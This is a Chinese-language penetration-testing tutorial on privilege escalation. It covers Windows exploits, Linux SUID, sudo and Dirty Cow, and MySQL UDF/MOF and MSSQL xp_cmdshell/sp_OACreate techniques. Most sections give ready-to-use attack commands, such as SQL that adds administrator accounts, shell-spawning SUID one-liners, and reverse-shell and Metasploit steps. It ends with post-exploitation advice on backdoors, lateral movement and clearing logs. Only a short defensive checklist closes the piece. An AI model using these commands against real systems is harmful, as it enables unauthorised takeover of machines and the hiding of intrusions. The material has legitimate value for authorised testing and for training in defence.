渗透测试中的提权思路(详细!)
字数 1968 2025-08-05 08:19:29
渗透测试中的提权思路详解
一、提权基础概念
提权(Privilege Escalation)是指攻击者在获得系统初始访问权限后,通过各种技术手段提升自己的权限级别,通常是从普通用户权限提升到管理员/root权限的过程。
二、Windows系统提权思路
1. 系统溢出漏洞提权
操作步骤:
- 明确漏洞编号及版本
- 明确漏洞利用平台及版本
- 确保cmd执行权限正常运行
- 确保服务器相关防护软件情况
查看系统补丁方法:
systeminfo查看系统详细信息- Metasploit模块:
run post/windows/gather/enum_patches post/multi/recon/local_exploit_suggester快速识别可利用漏洞- WMIC命令:
wmic qfe get Caption,Description,HotFixID,InstalledOn - Windows Exploit Suggester工具
示例:巴西烤肉(Churrasco.exe)提权
- 适用于Windows 2003系统
- 通过此工具可以以SYSTEM权限执行命令
- 添加用户并加入管理员组:
net user username password /add+net localgroup administrators username /add
2. 第三方软件提权
搜狗输入法提权示例:
- 找到搜狗输入法路径(如D:\SogouInput)
- 编辑恶意PinyinUp.bat并编译为PinyinUp.exe
- 替换原PinyinUp.exe文件
- 当用户更新词库时执行恶意代码
三、Linux系统提权思路
1. 内核漏洞提权
方法:
- 收集系统信息:
uname -a,cat /etc/issue - 使用searchsploit搜索相应版本漏洞
- 上传并编译exp
- 执行提权
示例:脏牛(Dirty Cow)漏洞(CVE-2016-5195)
- 反弹shell到攻击者
- 查看内核版本
- 上传并编译dirty.c
- 运行
./dirty 密码生成特权用户
2. SUID提权
概念:
- SUID权限使调用者暂时获得文件拥有者的权限
- 特点:仅对二进制程序有效,需要执行权限,仅在程序执行过程中有效
查找SUID文件命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常见可利用SUID文件:
- Nmap、Vim、find、Bash、More、Less、cp
(1) Nmap提权
- 旧版本Nmap(2.02-5.21)交互模式提权:
nmap --interactive !sh - Metasploit模块:
exploit/unix/local/setuid_nmap
(2) find提权
find / -exec "/bin/sh" \;
3. Sudo提权
- 查看sudo权限:
sudo -l - 利用配置不当的sudo权限执行特权命令
四、数据库提权思路
1. MySQL提权
(1) UDF提权
条件:
- MySQL版本<5.1:udf.dll放在system32目录
- MySQL版本>5.1:udf.dll必须放在lib\plugin目录(可能需要创建)
步骤:
- 上传udf.dll到指定位置
- 创建函数:
create function cmdshell returns string soname 'udf.dll'; select cmdshell('net user username password /add'); select cmdshell('net localgroup administrators username /add'); drop function cmdshell;
(2) MOF提权
条件:
- Windows 2003及以下
- MySQL有读写C:/windows/system32/wbem/mof/目录权限
- secure-file-priv不为null
原理:
- 利用mof文件每5秒执行的特性,通过vbs脚本执行命令
(3) 反弹端口提权
条件:
- 获取数据库账号密码
- secure_file_priv=,可导出udf.dll
- 授权mysql数据库远程用户登录
(4) 启动项提权
- 写vbs代码到自启动目录,服务器重启时执行
(5) Linux系统UDF提权
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
2. MSSQL提权(SA权限)
(1) xp_cmdshell
开启:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 1;reconfigure;
关闭:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
(2) sp_OACreate
开启:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
添加用户示例:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user username password /add'
(3) xp_regwrite
- 可用于修改注册表实现提权
五、Webshell与反弹Shell
- 获取webshell或上传反弹shell脚本
- 利用漏洞(系统/服务器/第三方软件/数据库漏洞)获取shell
- 使用msfvenom生成反弹shell脚本
- Metasploit监听:
msfconsole+use exploit/multi/handler - Meterpreter中获取系统权限:
getsystem
六、提权后操作
- 添加用户并加入管理员组
- 开启远程服务(如lcx, socks5代理)
- 建立持久化后门
- 横向移动收集更多凭证
- 清除日志痕迹
七、防御建议
- 及时安装系统补丁
- 限制SUID/SGID权限
- 合理配置sudo权限
- 数据库使用最小权限原则
- 监控异常进程和网络连接
- 定期审计系统权限配置
- 禁用不必要的服务和组件